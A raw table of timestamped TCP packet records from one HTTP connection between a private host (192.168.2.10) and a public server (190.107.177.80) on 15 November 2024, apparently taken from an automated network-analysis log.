Nov 15, 2024 09:10:05.946259975 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946305037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946324110 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946335077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946439981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946465969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946494102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946506023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946513891 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946580887 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946724892 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946749926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946758986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946763992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946805000 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.946902037 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946957111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946969032 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946991920 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.946999073 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947041035 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947197914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947216988 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947227955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947293043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947424889 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947436094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947447062 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947475910 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947515965 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947525978 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947535992 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947549105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947607040 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947617054 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947627068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947689056 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.947949886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947968006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.947994947 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.969960928 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970010042 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970021009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970036983 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970051050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970071077 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970079899 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970099926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970160007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970197916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970197916 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970237970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970247984 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970280886 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970309973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970319986 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970359087 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:05.970537901 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970582008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970592976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:05.970618963 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.016383886 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016436100 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016448021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016478062 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.016558886 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.016580105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016591072 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016602039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016614914 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.016648054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.016648054 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.053958893 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.053972960 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.053982973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054053068 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054064035 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054085970 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054095030 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.054095030 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.054174900 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054183960 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054220915 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.054220915 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.054270029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054280996 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054343939 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.054562092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054570913 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.054582119 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.055100918 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.069549084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069557905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069648981 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.069673061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069711924 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.069736004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069746971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069783926 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069863081 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069912910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069924116 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.069950104 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.069998980 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070147038 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070158005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070205927 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070213079 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070266008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070277929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070323944 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070393085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070447922 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070456982 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070489883 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070606947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070646048 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070663929 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070676088 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070708990 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070755005 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070764065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070786953 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070853949 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070864916 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070873022 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.070888042 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.070919037 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.071136951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.071196079 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.071206093 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.071238041 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.071249008 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.071293116 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.093516111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093537092 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093548059 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093621016 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093663931 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.093683958 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093693972 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093719006 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093725920 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.093725920 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.093750954 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093763113 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.093789101 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.094146013 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094156981 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094162941 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094172955 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094232082 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.094232082 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.094331980 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094367027 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094377995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.094408035 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.094408035 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.139910936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.139980078 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.139991999 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.140022993 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.140028000 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.140042067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.140053034 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.140077114 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.140152931 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177303076 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177313089 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177325010 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177355051 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177360058 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177428961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177440882 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177486897 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177546024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177563906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177575111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177619934 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177635908 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177717924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177755117 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177766085 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.177805901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.177805901 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.193703890 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193754911 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193767071 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193803072 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.193892956 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193903923 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193913937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193927050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.193933964 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.193963051 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194108009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194118023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194128036 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194139957 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194154978 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194169998 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194186926 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194277048 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194360971 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194370985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194381952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194408894 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194417953 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194432974 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194459915 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194472075 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194530964 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194541931 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194549084 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194655895 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194674969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194685936 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194695950 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194709063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194745064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194745064 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.194848061 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194858074 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.194899082 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.216823101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.216833115 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.216844082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.216911077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.216922045 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.216969013 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.216969013 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217041969 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217051029 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217082024 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217097998 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217138052 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217165947 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217175961 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217211008 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217230082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217395067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217433929 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217464924 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217473030 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217519045 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217530966 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217590094 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217600107 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217624903 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217645884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217654943 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217680931 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217840910 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217899084 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217907906 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.217931986 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.217978954 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.263215065 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263267994 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263283014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263336897 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.263442039 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263452053 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263462067 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.263518095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.263518095 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.300710917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300761938 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300771952 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300797939 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300833941 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.300853014 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300863028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300883055 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.300930023 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300980091 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.300990105 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.301009893 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.301132917 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.301143885 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.301162004 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.301172018 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.301203966 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.301203966 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332385063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332396984 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332408905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332454920 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332518101 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332528114 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332539082 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332550049 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332571030 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332658052 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332669973 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332695961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332695961 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332765102 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332776070 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332784891 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332823992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332823992 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.332921028 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332931995 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332942009 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332952976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.332969904 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333079100 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333154917 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333165884 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333179951 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333193064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333204985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333214045 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333353043 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333368063 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333378077 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333389044 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333426952 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333544016 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.333724976 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333766937 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333779097 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.333837032 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340519905 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340531111 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340538025 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340572119 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340609074 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340697050 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340707064 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340718985 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340753078 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340806007 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340816021 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340827942 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340872049 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340872049 CET	49705	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:06.340965033 CET	80	49705	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:06.340976954 CET	80	49705	190.107.177.80	192.168.2.10
